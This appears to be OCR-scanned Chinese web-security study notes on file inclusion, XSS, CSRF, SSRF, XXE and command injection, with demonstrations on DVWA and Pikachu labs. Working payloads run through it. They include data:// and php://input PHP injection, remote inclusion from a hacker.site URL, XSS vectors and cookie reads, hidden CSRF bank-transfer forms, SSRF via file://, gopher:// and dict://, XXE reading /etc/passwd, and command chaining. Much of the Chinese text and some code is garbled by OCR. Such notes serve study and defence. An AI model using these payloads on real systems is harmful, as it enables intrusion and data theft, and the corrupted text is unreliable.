17RE. BN, ER—LEEER. SEN—ENARESE., EXMERT, £
data://text/plain WYAILATSEHUS ARSI EAEHITES.

2. IR TREERETETL: 1 YN FRERAE A T IR ERVETEISTN, TTAERER PHP E’\J%ﬁﬂ]
t

BERELMB R TRLIR, RPT UAE R RIS B IR R R4, Ia0, (&R php://,
IWAJLAREN POSTIBRAVRIAETE, AASRIEE & L AVEESUR TR AN IR,
3. BEXX VERMEREEEN N MAEREE, IS LIETREHITE RE, B

g % input , BJLUSEBBRERFRIRIAS 4R, ?—”Fi&ﬁﬁ;‘;"ﬁ)‘i

i Ff&ThRE \
php://input

PHP B3T3 &, php://inputa] LABBYER & ST4-AIERY /input®—MEFIREYAR
(stream) , EAFHREBISESKNFERS.

BIRSRAE: php.inixE&saTallow_url_includeiZ &
gz ¢ ‘\
php://input \

post:phpftid
f\A

BHEETE PHP X, MAREISLRAIS SR

§


af://n749
af://n754

Y 1270041

[

system

Build Date

Compiter

Architecture o4

Configure Command [ Bhcript frologo configqure i - ensble-snapthot buld” *..enable. debug pack” *. . duable.1ts* *. disable
R OmEs Dews O®KE flAs () uoeas Quw Onss DFa & SeSEe [0 SO0F G Me Hecks

data://
HiEmEysees, LMEBEREa0EEE.

BUIRSHSF: phpaini SEFHT allow_url_include iZE&90n

&
data://text/plain,phpffi%] ----> ?page=data://text/plain,<?php”phpinfo();?>
data://text/plain;base64,base64Zwtdiphpftis ---->

page=data://text/plain;base64, PDO9waHAgcGhwaw5mbygprz4=

php://input5data://X5l:

php://finput

POSTiERIK URL=E

RSl Sbases4imia

HAPOST GET/POSTHSR]

php://filter

php://fiTter B—FiTEidess, WITRTERAITAIHEETE. RIEEF filter T LIRS S18E)
DAY AT BARSRIS S — R, FERREERE. M TPHPRESH T \GEEEEBFRK
8, BEREEPHPXARTSENT, ABEBEIRD, XAIATLAR php:/filterEEERRAAD {4

IEEURAIDF T base6d i, FAASEZEIM phpfti FUTHEARZRIBAST T
<52

php://filter/read=convert.base64-encode/resource=index.php

ERRRERSEETLUAZIAER B AIFIRER :



e Eiiipa HIE
resource=<Z i JE 1 HRE > a5 T VR U B R Wik
read=<if 1) i 12 41l 7> AT RA E —ANERE MR A AR, DLETESRF (D) kR Ak
write=<5 FE IR 51 > AILABEE — AN B AN RS A RE, DVAETERE (D) & Al
HEdigss:
4
(D) 745 e ad JE AR
string.rotl3 #4rrotl3f# .
string.toupper KFHeiRs ¢ \ 0'
string.tolower ¥7fF4i/NG \
string.strip_tags E£RT 74, HTM$HP I EERELE \
Q2) ity 35
convert.base64-enco e64 Zwts
convert.base64-decode, base64 fiihil
convert.quotedsprintable-encode quoted-printable Zifid (&% i — 4 i i 1 7
)
convert.guo d-printable-decode quoted-printable f#i
conver\ v SEHAT R R G S (R A 4 .

. \
(3)&%&% \

zlib.deflate E45idiEns
zlib.inflate f#EidIERS
bzip2.compress JE#iidjEs:
bzip2.decompress fif/kid s

(4) Iz g 2
mcrypt.* s jEsE
mdecrypt.* fRudIERS .
0\\ '0\
zip://

zip://. bzip2://. zlibg/AMNY, EBEFEG R, "TLARRIELESGHETXE.
B
zip:/ /4% PRIZ /XX . 2 p%2 34 4 1 S A
M Ox o
Eq“Eg%%E’JPH PIRABARERIRER (ntshRATLABENERR) . {155%&; ZN SRS Ruh

EESE M HERIRE, XEM %23 2 # SHIURLERE, MNRFHTURLBBNIE#SEENASEE
FEIRSS=RA, #ERNRPN—ME. EAENFN, MEMERNRRRT

I
1. BSRB— 1 PHPIX R INEzip E4a3 1.
2. BzipEmEX MM L (IR EERERREEN
3. FIRzip/ i B Z1% .
AR BRI Efe—HF, 4%J:1§JEE’\JSZ{¢U§.IOQT

N

3. ZIpESRIER N EERIEER)



phar://
5 zip:// M
Bz

phar: //HXEEAR /XX . 21 p/ B K48 1) SO

RSB php>5.3.0 AR AR BZNEHT WU E E 6 & 3 4 fE 5RAIPRH

zip:// 5 pchar:// BIX5!

A EZIP FEFPHPEITE

EERERH

TRERNE

245
file:// »=52 off/on off/on Hile=file:4D /soft/phpStudy/WWW/phpcode.tbxt
php://filter >=52 off/on off/on 2file=php.//filterfread=convert. base64-encode/resource=./index.php
php://input >=52 off/on on ile=phpiinput [POST DATA] <?php phpinfo(?>
zip// >=52 off/on off/on 2Hile=zip //D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
Hile=coMpress bzip2.//D:/soft/phpStudy/WWW/file.bz2

compeess.baip2-// »>=52 off/on off/on [or)

ile=compress bzip2.// /file.bz2
?ile=compress.zlib.//D./soft/phpStudy/ WWW/file.gz
»=52 off/on ff/on lor]
ZHile=compress.zlib:// Aile.gz
2ile=data://text/plain,<?php phpinfo()?>
lor]
2ile=data://text/plain;baseb4 PDYwaHAgcGhwaW5SmbygpPz4=
>=52 on on HET :
Hile=data:text/plain,<?php phpinfo()?>
[or]
ile=datatext/nlain’basef4 PDOwaHAacGhwaW5smbvanPz4=

compress.zlib://

data.//

—infiEXHEE (RFI)

BIfR: php.ini BYallow_url_fopen BHE on (BMAFFE) . HHE allow_url_include AHEH
on (BERIAX)

1 WEEEECHRSHE LFE—I XM, REN: . ZXFREREHR
BiriksSenaz, XEERpython3/EaI—httphRss:

python3 -m http.server --bind 0.0.0.0 1234


af://n823
af://n828

evil.txt
y-virtul: cat evil.txt

-~

<7php phpinfo();?=
— ovo@ovo-virtul: ython3 -m http.server --bind
1_ Serving HTTP on ©.0.0.8 port 1234 (http://@

IENAE AN EEEREEA. BEBFH, AXGE2E—ElERY, thinEZELE
M. EEERERARSE, BE—MRBER TNTEXEEAESE allow_url_include /3 off , EIiTiE
4B SENT A GBS kin B>

2 BIENESRRE

http://xxx@com/xxxx.php?sauce=http://hacker.site/hack.php

IMEAE

IBIREIERY URL EES T HIFERIRSER, BEAINIRSS: TRIXDGFABERIT, NSEEEREE!
FHIR

75, XSS (ESUBEIAIE)

XSS(EUEMIAE) 2— R R IWebZ 2R » WEE TIABTENTEHE, FKEABFRIcookie, 1=
FIXITTREERE, XSSWEBHEREEMULERIHERIE. e

BE:

1. Bt S BLr sei A B AR RN 3 16 sz ST 700 5 ol JA A I Y45 0 e D) s 2 1) 890 £ Ity , - 0 it N
Javascript Ui Bes R s, EEREET DHTML B g mXd .

2. [ HaL SNBSS FIFE TFrame NG00 8 2 0t R o 2 2 1 0 B L N 0 1 T R
3t 4 11 A N T Lt A7 T T

3. By #%EH: Cookie &M X THEE Mk () S IERR G, XSS ATLLEEHFIH P ¥ “Cookie, MTHIHZ
Cookie I Wb HIERIERR . dR— ARG E B G Cookie HBIHL, HeoxtMiuts| kB RKfE
=

BT o

4. B PER: HEE i IEIH R Cookie ANIMERMRENFH Ly i, Bk & nl LASRICE] F - X Pl )
BAEBUR, MTiEHR M REAER.

5. WRMEERE: INE SNS ALIX ., FlfH XSS, W& B i 1) B R KR b 5 B4R e i H
bRAE


af://n844

5B RS -

A 4
6. M) web 474 —UEEH) XSS B HZEFLSEH K web ﬁf&% P s, R
7. XSS M. XSS #FdAlLLHKITS . B E. HD. BAER. PR EHEE. L DDos Mgk
EHPHTMLUFE
<iframe> QUGS 5H—A ST N BHELS
.

<textarea> XMFREE X ZAT TR NS

<img> ] ML H R — L

<scirpt> i SENXE AR, tindavascript X AMPRZEEE AT DU A EA, Sl nT DUs
src/REEARE SN B A ST . AUty pe B YERUE A IMIMES A Javascript LA 2 (4 48

1’5\% B Y25 SR 00\

EHHY)avascriptFix
alert alert QAT Enia —5%4 AT A AL AL R T HE
window.Tocation window. TocationX 4 H A5 317 U A CURL) , FEHT ) 25 2 7 [ 28T Y
PN}
S ‘ .
Tocation.href  iR[H %ﬁﬁﬂ%ﬂ‘]iﬁﬁﬂ%L 0\\
onload — 5K T THI B — 1 B 58 ik
onsubmit FIA A Y s i
onerror TNER SRS Bl R I A A R

*

P L 2
1.&!@% \S
RETEIXSS, WHFAHSABIXSS, WEEFSEEMsE— AU BEARNESEERT T 38NER
JavaScriptlARR url , EERBHKERFEBRMLL, fWebiERERREARAINIBAEIZ SRR
“I i B EERN S M ESE RN S SN TR AR A

il

BEEMRAIERE, P\EE‘@)\E’\J?—FJK%’ i?\\ LL , FPEEEIEFTED Helloli A BIRNE
N


af://n855

<?php

// Is there any 1input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'nmame' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '&fpre>";

3

7>

WS RIS TENEH

T a Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions S
sﬂup;mﬁﬂ 3 j What's your name'f‘l || Submit ‘

P . ‘ Hello jimmy
Eﬁm M’on

CSRE More Information
File!&sioﬂ = http wasp.orgiwww-co
File Upload

Insecure CAPTCHA

5QL Injection

SQL Injection (Blind)

xsspow |

XSS (Reflected) |

XSS (Stored)

CSP Bypass |

WHEESAILXSSKE (EERXEREXE \LICRRITBEERFHBETESHEXSSRINIR)
EmNERA, BHEN, JRFEXSSHER

[127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert(%.

I cTF [0 DarkWeb [0 GitHubiigs [0 THE [ s ] g2 () GitHub

127.0.0.1 B

jimmy

BRSBTS EILTER cookie (H, WEE—REBRBEI—LHN HILF) UFEERET—D
R, XMERSERREEMX N IEIcookie

SRENHRITaHE cookie

<script>alert(document.cookie)</script>

PHPSESSID=tm2hi5h36iu61gkroofb990r06; security=1ow



127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script=>alert{document.cookie) </script>

CTF  [O DarkkWeb [0 GitHubisr [0 TH% O sefme 2 () GitHub
127.0.0.1 B~

PHPSESSID=tm2hi5h36iublqkroofb990r06; security=low

( = )

B2RAIX A cookieFi T LALUX MR AR N EE KR T
B—NEEES (EAERIGHIcookieXER, AINARARSSER, BEREREXT
BREIFM: REBLRSTENRAPREEMeookie[ERIRERLRL

2. 778

TRAEEIXSS BB N FtE Rl I WebiEIGRENA A [SHRIEIRE, £ ARk BEFEXSSIUBRINSLIT
ESHENGIERE 2R RN SRR FIREBUZEURRS R At St iE , TNE AR S SIS AR
WEAF. FHEXSSHRAZSHIEERSR. oK, APER 7TEAXSSHIENESEIEERE, =8
TRPFESESE, BLESHATSNIRS ST BN

BEE: ERRS E RN T A AT, TR ARREEN NS SR BHIEE it &P B AR
i

HTF—MNRAPBOREEFBRIXSSHEFRNMAERS, SERHEH
BllEEpT:

T Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Name * ‘ |
Setup [ Reset DB

Message *

Brute Force A
Command Injection ‘ Sign Guestbook H Clear Guestbook
CSRF

File Inclusion

File Upload Name: test

Messagé: This is a test comment.

Insecure CAPTCHA -
Lo Naffigs jimmy

SQL Injection P Messagethello, everyone
SQL Injection (Blind) . B

Namedjimmy
Weak Session IDs | Message:
XSS (DOM) ) N .
Xs$ (Reflected) [ ) More Information
o> o zan
CSP Qpasss ‘
Javaseripth,
Auﬂm&' Npass
Open H &direcl
CWI"DQWPh’

DVWA Security

IR USERER e, —BAEE xss(stored)[E NAABMET, KEIKEAR, B8
B, FUE ot TSP aEE M, SR

DA Sk
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DarkWeb [ GitHubliie [0 T83¥ [0 scsmses =a () GitHub

127.0.0.1 B7=

this is jimmy

3.00ME!

pom XSSE—MENNRERA, SRESEMFHEES—, DOMEURETIRSmCE, Bk, 2
FFBRIMTIEE FinfUEa, (—AgEDR)avaScript) FRiH{TIE

£ pom7! XSSIFeeE , ‘W&t BE S MR NEER HTML JTEREE 2 Javascript {5, HEEH
XSSz i T RS A IR0 S 2 R e T

6 I NS
Y N oy ] @
DOM ! XSS BRI E TR
3
. ] 000
©® BERThHRERS S p(— 000}
n exm
‘ B (2E)
bl = HEEAIES g
D EE BN AT AT TS S TR ANEE © TN RS a T IS
@ BFERIVDEET /
o= i o
- - 000
1 @ SRR FINEIE T O RSEMETHPIER, m
HiEme JavaScript B, 1S ST {SRIITAIREIE lavaScript MA—RRSAFIFRIIESE
FIFURL OB SH, (ErhA5 XSS Wa{tHg) BgsStin (XSS i)
FESERE, XSS KEkE [ o

SRR
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[127.0.0.1/DOMBasedXSSLab/404.htmI?error=XXX

j cif [0 parkweb [0 GitHubiiss [0 TH% [0 sEmsms g4t ) GitHub

404 - Pagd XXX|Not Found 2

FEIRGER: EREIUETE
FR1: IR
BRRIE:
EBOHHEIRATSS, windos BREtiEH B SR AT ST,
FFE2: kISR
BRRIE:
SR A SR VNVER S
RE3: wRiRE R
BRRIE:
EEB R eI&index htmlZkE 81&index php,
FR4: WREEESTER
BRI
ERGTARFEHEGRERD, SRR oRSESEEINEEFEERT.
JRES S R T g
FRRINE:
HRSAILIRES, DS ESIERAIESIN, SeXiAteSEE,

EEFM, EEGE, BUGRIE, ERUBE: wwwxpen

BT F T AR E AL TEE, BkEEIT— 404 Not Found (9T0E. EETEMNE, ZREEE
A9 404 - page xxx Not Found FRY xxx EBDHIABTUUFEEILNEEES URL Y error SEzHIAY

AT LMER—TSAn=h error FERIESRES, HEHIHE
http://127.0.0.1/DOMBasedXSSLab/404.htm]?erzer=]%mmy

.1/DOMBasedXSSLab/404.html?error=jimmy

[0 DarkWeb [J GitHubiiteE [0 T8x [0 s5308Es 24 () GitHub

404 - Page jimmy No§ Found &%l
R BRI
TR RS R B
2Rk
{ERRHIIRATSS, WindosTUEE B SHIRARTISEE,
FR2: I RNIER
R
SR ORETWWWIRS.
FES: WERETREASETE
P
1R E S plEindex himlakE Al&Zindex php,
FEA: WERE B SR
P
RS R, SE RS AR AR E R,

BJLAKRIL, error FRAABRASERRERNEY, HOFRHEENIURE, FERENVE



404 - Page jimmy Not Found F3Zl
SR ERORE
JFEN: BTSSR

ik

EREEIRATSS, windosRGENB S RATSTE,
RE2: PKIENER

Sk

ek P LT WA VRS

ources Network Performance Memory Application Lighthouse  Recorder HackBar 3 Requestly

jinmy Het Feund SRHEICH = 90

ALARMBEN UEEHNSHERBRET <hl> XN REP, PAREETAZIHIE FERY Payload,
KRR

http://412%.0.0.1/DOMBasedXSSLab/404.html?error=<img src=1 ongrror="alert(/You've
Been“Gricked/)" hidden/>

27.0.0.1/DOMBasedXSSLab/404.htmil?er!

CTF  [3 DarkWeb [J GitHubiiris [0 TH:x
127.0.0.1 B

[You've Been Tricked/

AJLERNEEWIGEE, [ drror TEEH T —RJavaScriptf{iis, #iE7T DOMEMIINE

MRRET "HE IZH, (AER, TEENREIERN CREREN T ERHAHIRRTL, B
EFHEFALE)

BINAENRGTBEEHSEEASZH, FEEREWMIESENER, RIIB XSS B s 5 AMERAFRS
REUER, ¥ XSS W BigEmibRE S EBAZFin; m DOM BINIEFIR 1k % i Y
JavaScript IA#ITRUAR, EimREIREIESHHAE S XSS WHRRD

i

¢

=&EXILL:


af://n914

Jeny FiahiE ER= s

iR XSS IR EREUERE EESEEMERTENE B S5 Rava iR o
RaiE XSS URL/ #=2EH AFMEESIER BRs5raimm ST RIdiEsE
DOM B! XSS EFRAE Bl JS AIERIE DOM Bl JS RIS SRR

EREERM /5", XBIET SHFMGIE M iERSHESE (GIBEERB) -

BEE XSS (Reflected) #ii58 XSS (Stored/Persistent) DOM B XSS (DOM-based)

URL ol bk ; &
URL B (A MESINOSRRES) 7 RSEBRAE (BEAibkiTE) s LA R

EBSSE RFESURLESR, FEER'SE" RSSESIEEEEN"SAK, BarEnn JEEEEC! sk SHEESURLEN SHBUGE
Elomasthi * L HEHATT, AEERSSE T

LIRS EETRNSEE (ki AFSEESITSaERaTs (A APSSesSShBEIIURLED # i) SRARE
mift, E=ra) — I EEERHeaET) BRRJSER{EA T C

—RiE: RIS /R TAT KGR RESKTERSSEEIEE, i R BESREESEEATTS T (AMETEE
E HnEEhs b A=)

R ihiE 7 ST (AR RS (W

1) 3 RSASTBA SES=hEURL AR °

B HS3IRT MSEiE mAr °

Eé?? 2 BRSNSk (B2=UBURL) BelilREK (SBEETRe) ° =2EFREG! MaT 8NyEramE 7

fRIEASRiN :

- ANEARA R, R P (IS 2T T el TR
~TEER A MNERSER T E (RPFe. 85D » ERIT ARV PN (S5 aE KL V%)
-DOMAY: fRmi 1AM (BN IREINNEE E OO RCEE W, R B S TRk S QUi ds B Ok

EUATHTAED:

<input onfocus=write('xss') autofocus>

<img src onerror=alert("xss')>

<svg onload=alert(/sss )"
<script>alert('xss')</Script>

<a href="javascript:alert('xss')">clickme</a>
</td><scripstalagt(123456)</script>
'><script>alert(123456)</script>
"><scriptsalert(123456)</script>
</title>Rscript>alert(123456)</script>
<scrip<script>t>alert(123456)</scrip</script>t>
</div><script>alert(123456)</script>



)
&

.Q

3

&

+. CSRF (BihigR{his)

BubiERmER— MBI ST SRR EERAIWeb N BIEFMTISEEIAF

L 4

.@'

%%E’\JET&VEE’\JIQE&E i%e

B, WXEm. RITEKS. BTNRERE2NES, FRLEHENMNIESIAZEERRFRFmE

=17

ERRBILHAIERRE (XSS) K&, (ERELD
FIHERPARIBRER T TRLEZR Fal
.

=

N

. XSSETLASRENF

KEEBT—ERATFER, ?%%Uﬁé)jiiﬁﬁﬁﬁ):'%ééikiﬁiiﬂﬂgﬁ&i#i#_ﬁ—%ﬁ%{’ﬁ . PEaAR R, &H

FUE, MCSRFRZEFIARA
YRXSSHLAFUTAER]S, MCSRFRZIBRIIET

ER—RERIME: BFFIARUEHTHENS, HEBNuG (REML) , BRIGKNBEFHESNE
(bean: UﬁﬁﬁAMﬁﬁ%%%@%ﬁﬁiﬁﬂﬁ%ﬂ\ TSHIK)

2.56p
1589
el
AR
2=
b
Fp

@?ﬁﬂﬁﬁgumﬁﬂg affectedBank.com
B, IARIERETomAYy
BiRERE

)
(&0

- -
3 4RATRRLIR \ Tom
MO TUURTASMTE  UseaARTomE

BuhB

4

5l

0 @
1.GET RF
AEEIFEMHTTPIE

RITHSHI ISR %
B

ERiIBIER I LARINHIT

1TUGA: BLAGETIERFETEARI THMKATERF @

http://www.mybank.com/transfer.php?toBankdd=112&money=1000
2 4
L 4

felfifmB: BREEE—RHTM LE’\JFCESWU&D%

N

ﬁ%ﬁﬁ%%ﬁ@i%ﬁ@gﬂzﬁﬁ&ﬁk FEAAEM Cookie 2.E7F§HjAE’\J‘T§®


af://n929
af://n938

2 4
L 2
<!-- 771: RIRE R HSInE -->
<img src="http://www.mybank.com/transfer?toBankId=11&amount= 00"
style="display:none"> <V—— FH v i B ik e 5 K
<l—— 7732 K& framefhdtism —->

<iframe src="http://www.mybank.com/transfer? %=ll&amount=10000"
style="display:none"></iframe>

<!-- 773: BIdFES AT (TR
<a href="http://www.mybank. com‘tﬁ‘ﬂer. oBankId=11&amount=10000">

B 100 e L !
</a> \

BESHEFIAE: & RIETE. ERISEEFRERETE IR

EEE: B WHEWPURIEKE, 2ELETEEE ((FIBRAR
L 2

0\\ ’0\

2.POSTEUAYCSRF \

ECSRFERMTZH]), BEB—MMERIAR, INICSRFEERBERGETIEKRAR. EREFAREER
INNREICERRREMARRIFPOSTIER, BAERILEC

XERERM AR EEET, KSECSRFE RS, SERRIHTMUREERR. | FH srd'B
MRRE, XRIREREEBRE—IRGETIEK, BERICPOSTIER
4 00 L 4

il

SRR EERIMRITEMNEZEOAPOSTIER (RIURL: http://bank.com/transfer?to=X &k
Fi&amount=1000) , BFRIRICERNEKIR (Referer) 5Token

N

name="to0" value="hacker_account'">
name="amount" value="10000">

i name="csrf" value="dummy_value">
>
<input type="submit" id="autoSubmit" value="Submit">

</form>
<!-- JavaScriptHzhiEac kLB >
<script>

document.getElementById("autoSubmit").clic

// U AN A 3R 52

Q // B L H: document.forms[0].submit(Q); TC AN
N FERFEHZ I hidden BELEFEFERDE, scriptﬁ DUEIIE ISk
ISt

N


af://n951

1. RERNHEMENE—NMERBERNEIEE, WNERIKE rReferer FERF] token , BEARETEERF
ECSRERER

2. tNEREReferer=E;, (BREXIFReferer=BREHEIRR, NMRIZIRRIABR, BAERA ETTLIHE
F1ECSRFRRE

J\. SSRF (BRSSimimRiAiE)

RS ESImAKIAE (Server-side Request Forgery) fEiFRSSRF, EIEGEBINERSETmAER, M
MFERSSE AN E= A RFENEILE., WEEBESFER 2 HH S % FRNEREFREARER R
fiEK, LMEEREERGEHRSE AR

WEESER, BIASHBE

) httpigsk \ E httpigsk ;
'@ - > A :@ ;
. N Az : fi 2 . 5

FeRIRE: TR imiRft 7 MEbIRSS SN AEABEERITNEE, (BB B iRt ™Sidis SR
#, SEWEETLUMENERAIMBIESRLE /5 ikss i MERRIER, FiRERSiZBRibERIEE.
ELAIMIEREURLIEABREN TSGR RS, IEGEEIE R, T8, HEANES

HETSISRERIEE:

1. SRR A T LAOSEIS R LB IRRSS 3R P AR B = M S R AU LB AR S5 BT I, DA BB
%5

&

2. WEB=FARSR: WEETLUMNMEBERUNER=7RER, FlalihaEaRsUSEEaHTE
i“#

RS W
3. AEBImOAM: WEETLMPEERLIIEIRSS ZRMERROFIRSS, ISHEMATBERYRR
4. SREGESUER: BIYZREY web NAEIAMRSS #RERSHIESUSER

AIEHFHERRRER


af://n965

A FALThRE: Web N TR EE R vEH P AE ST, Iﬁzﬁf%‘ﬁuﬂt’aﬁ%%ﬂgk , LU & SSREJR «
K R Ab B IhRE: web N FHAR P IEH A& B B ThEE, i v DAEE B URL PR NS R URL, DUl & SSRF I
.

URLE E M hHE: Web AP AT R8RS URLE E M ThAE, I n HE FMJURLHVE N RTURL, LAl
SS

RF A -

APTiH: Webm}ﬂﬁﬁﬁfﬁgéﬁﬁml'—iﬁﬂxi& RH, Bl DIIEAPTE SR ik B E URL, DUk

SSRFIRI - \

=61:

DIRERERRIRSS IniR ftbIRSS AR FRARENEE, amTiR XS Bmith by i e 70 i) 2
SSRF

E_TL‘,{E'\%H:'.‘ b FAPEHURL + IRSH|REIBR. RUBIMMENNSHEXE:

ur1=ﬁ'1x /1. txt, MIEATRERRA AN (4SRN ¢

1 4
w==
Request Response
Pretty Raw Hex larkinfo Q \n = Pretty Raw Hex Render = Wn =

1 GET /servlet01/ssrf?urlffile:///d:/1. txt|HTTP/1.1 1111222333

2 Host: localhost:8081
3 User—Agent: Mozilla/5.0 (Windows AT 10.0; Winb4; x64; rv:128.0)
Gecko/20100101 Firefox/128.0

- M
,application/xml;q=0.9, image/avif, imag i
,¥/%:0=0. 8

4 Accept:
text/html, application/xhtml+x
e/webp, image/png, image/svg+x

EZ

5 Accept-Language: T #rme - 2"‘
zh—CN, zh;g=0. 8, zh—TW; q=0. 7, #h—HK; q=0. 5, en-US;q=0. 3, en; q=0. 2 ] BHinie) ~

6 Accept—Encoding: gzip, defjfate, br i Bl

7 Connection: keepralive

8 Upgrade-Insecure-Requestf: 1 R

9 Sec-Fetch-Dest: docume . : .

0 Sec—Fetch-Mode: navig N Tl > MR > Daia (0 K#ﬁ&iﬁﬂ!ﬁ-ﬁlﬂ

! Sec—Fetch-Site: none 1 4 QneDrive - Personal ~ 0O =% 1.xy- iBEA
2 Sec—Fetch-User: ?1
3 Priority: u=0, i
4

5

Jetbra

L 4

myshare

B
Filefatiig (BD file:// thiX) ENEERIIRIEFRRAZ URI (- ERIRIAT) BE, Frogran

BFEERAFGRAROYE. SHIHERE N LRRENYERHTTP, FTP) |, wined

MRETSEANURKENMAR FHSTHEEUR(E, BEUbEIRA" i ra work
& ER AETE
L ph ) — s
£ Windows-SSD (C) ISR

Eiﬁllﬁ%; .

php: \\ '\\

XU T R HHTTPIE R, AIEH WK incurl_exec() . file_get_contents(). fsockopen()
SRR L R AR P R SRECURL, ER IERRISAE A SE A P AN, B T DUEE EURL RN
ARIE A X SSRFIR I

file_get_contents()
2 4

BSR4 URLNES, E«%mﬁ:ﬂﬂnﬁ BRI PER

N

\ - g e D) tet0) BEW) e
\ . 5111222333
bed:0)



// WIRARS R

A 4
2 4
) \@
$url = $_GET['url'];

echo file_get_contents($url); // K&K&%Surl, W Afile://sihttp://W Rk

FEH: filer// (EEEXAH#BIIMH) . http:// (Il %)

curl_exec()

L 4
. L 4
CURLEEHORALERES, STSSFIIY, 1&%‘: 0\\

$url = $_GET['url'];

$ch = curl_initQ;
curl_setopt($ch, C URL, Surl); // RR#HMY
curl_exec($ch);

BN :

e gophierty/ : RIEERTCPEIER (MNIERedisENERES) ,’
. di&/: FIRSSSE (W dict://127.0.0.1:6379/1info jtttEERe ¥)
o file://: SEENAMII(G

* fsockopen() A

0 U TCPERTIER, HERFRRNERE:
3 $host = $_GET['host']; ¢ ¢
$fp = fsockopen($host, 80, $er‘r‘n\kr‘str‘, 30);  // WEEANMARS 0\\
fopen()
A4 URLIR, B iTer // AIEEENERCSLL :

"r");  // teAfile:///etc/passwdr SRR G

N

SoapClient

*OAPWJ@B‘@EFH S ETIRE R R ERIRS :

$client = new SoapClient($_GET['wsd1']); /4 ERwsdl45H M

¢ .

> .

java:



N FF HTTP/HTTPS P AI2%: HttpClient 8. HttpURLConnection 28y OkHttp 28. Request
%5
Y ¥ sun.net.www.protocol FTEWHNIZE: URLConnection 5. URL 2§, ImageIO

. XXE (PMERSCIFEAN)

XXEJRAEFRIA XML External Entity Injection; BIXMLYMEBSE(EN

XXEfRRAREEN BEFEITXMUGANEY, iRBZELESMBEMRINE, SEBFeLAzHIsMBIIEETIS
5, NMSEREINARE

XXEmRAIRRA RAEE R U floxm 1 SO E |, RBR_ EERImIN R TR, SEE LE&EXmI
X

LFVFS | FBINEBELIRET, BIUETENE, UISEUSEB AR . IUTRSGGS . ARG . Kl
WM Ritedos it ZBE

=61:
= —™WebNARERATFAF LEXMLXAGREFNAERE

kAL WEECE— XML, HPEE—NMNBSEE, 1Z5CiA5 | T IRSS 28 _ ERISURCSTE (1
40 /etc/passwd )

XML :

<?xml version="1.0" encoding="IS0%8859-1"7>

<!DOCTYPE foo [

<!ELEMENT foo ANY > <! -=5E LR NANY BRI AT C R -->

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <!--EX T —Efkxxe, HZILRGNES
A= ->

<foo>&xxe;</foo> sl -—TRlH&xxeXt SEARBEAT I, i I bl BRGSO R 51 H R B 4 - <

S LIRSEROIBUMLIIMART, FMEBSEUR xxe #AEHIT, SE /etc/passwd HHIAFHEIBEAZIXML
M, FIRERIEE

.getName())

entBuilder()

tion var3) {

LfwRuntimeEnvironment.setProperty(XmlObjects. .getName(), xmlObj)



af://n1033

$B1HZRGI:
1. 87E—E XML {18 , X EEEREXNNAYE
<!DOCTYPE foo [
<!ENTITY xxe "This is jimmy" >

1>

<foo>&xxe;</foo>

URLERRSS

%3C ! DOCTYPE+T00+%5b++++%0a++++%3C I ENTITY+xXe+%22This+1s+jimmy%22+%3e+%0a%5d%3e+%0
a%3cfoo%3e%26xxe%3b%3c%2ffoo%3e

@ Intercept on “- Drop Response from http://127.0.0.1:80/pikachu/vu

Tvoe Direction Method  URL
HTTP < Response POST http://127.0.0.1/pikachu/vul/xxe/xxe 1.php

Request Response

Pretty Raw Hex Chinese Pretty Raw Hex Render Chinese
_, - - ; -
AR S P 5331 -
5 Sec—Fetch-Dest: document A  xeEE
/ Referer: http://127.0.0.1/pikachu/vul/xxe/xxe_1. php
8 Accept—Encoding: gzip, deflate, br
9 Accept-Language:
zh—CN, zh;9=0. 9, en;g=0. 8, en—GB;q=0. 7, en-US;g=0. 6 This is jimmy
20 Cookie: security=impossible; PHPSESS|D=
tm2hi5h36iublgkroofb9920r06
Connection: keep-alive

EE— TR IEEEapk

xm|=
IDOCTYPE+foo+%5b++++%0a++++%3c | ENT I TY+xxe+%22This+i
s+ jimmy%22+h3e+%h0a%h5d%3e+h0a%3ctoo%k3eh26xxe%3b%3ch2ffo

0%3e&submi t=%E6%BF%F0%E4%BA%A4

< | | Search 0 highlights

Event log (6) All issues (52)

TWHESR T xxe BHE, HABRTEATMAR xm| #IEEBEREER

2JZTRAJLAR 5 ANl e RTT0E, SRIER ST stk , LARSEREINE

it payload:

<!DOCTYRE foo [

<!ENTITY Xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

“RELfE

%3C ! DOCTYPE+T004+%5b++++%0a%3c! ENTITY+XXe+SYSTEM+%22T11e%3a%2t%21%2fc%3a%2fwindows
%2fwin.ini%22+%3e+%5d%3e+%0a%3cfoo%3e%26Xxe%3b%3c%2ffoo%3e



Tvpe Direction Method  URL
HTTP & Response POST http://127.0.0.1/pikachu/vul/xxe/xxe_1.php

Request Response

Pretty Raw Hex Chinese = | Pretty Raw H der Chinese
Sec-retch—user: 7| ) ) )
Sec—Fetch-Dest: document A Pikachu il & PlEpler
Referer: http:// ). 0. 1/pikachu/vul /xxe/xxe_1. php & Bemm
Accept—Encoding: p, deflate, br
Accept-Language:

Oy MR R A api

n—-GB;g=0. 7, en-US;q=0. 6 A
Cooki s npossible; PHPSESSID= Pfor 16-bit app support
tm2hit 1 g fh9 6 [fonts]

N o [extensions]

[meci extensions]

[files]

[Mail]

MAPI=1

0 highlights

Event log (8) All issues (52)

+. RCE

RCE 2 “mf2idr” RIGEFR, (BEARFTLSARMIER: imEaShiT 1 ini2iBniT

a5l
& EINRASHITRIN, BIRNA S ping 127.0.0.1 && echo 'hello’
A ping 1111 & echo 'hello’ |

no |findstr 3306

ping baidu.com || pin
baidu.net

LinuXEZERPHFHEDE (M7 <, cnd1;,cmd2 == eRiiT, SiTemd1BfiiTamd2

=l


af://n1062

1. TIEEEIIT (Remote code ﬁtian)
A

EAFEXiRt EEEIERESICRAFPE

PHPECERE]:

A 4
L 2

_ 0\

il ¥

cmd1 | cmd2 ShiTemd2 \

cmd1 || cmd2 HEZHomd1HiTERES, cmd2238401T

cmd1 & cmd2 SeiiiTomdl, AEE , EsHhiTemd2
cmd1 && cmd2 FefhfTomdt, cmd&n fremd2, FARITCMd2

4
L 4

REBRY—ERFHITHIT BaliERl T Z R IT KR A

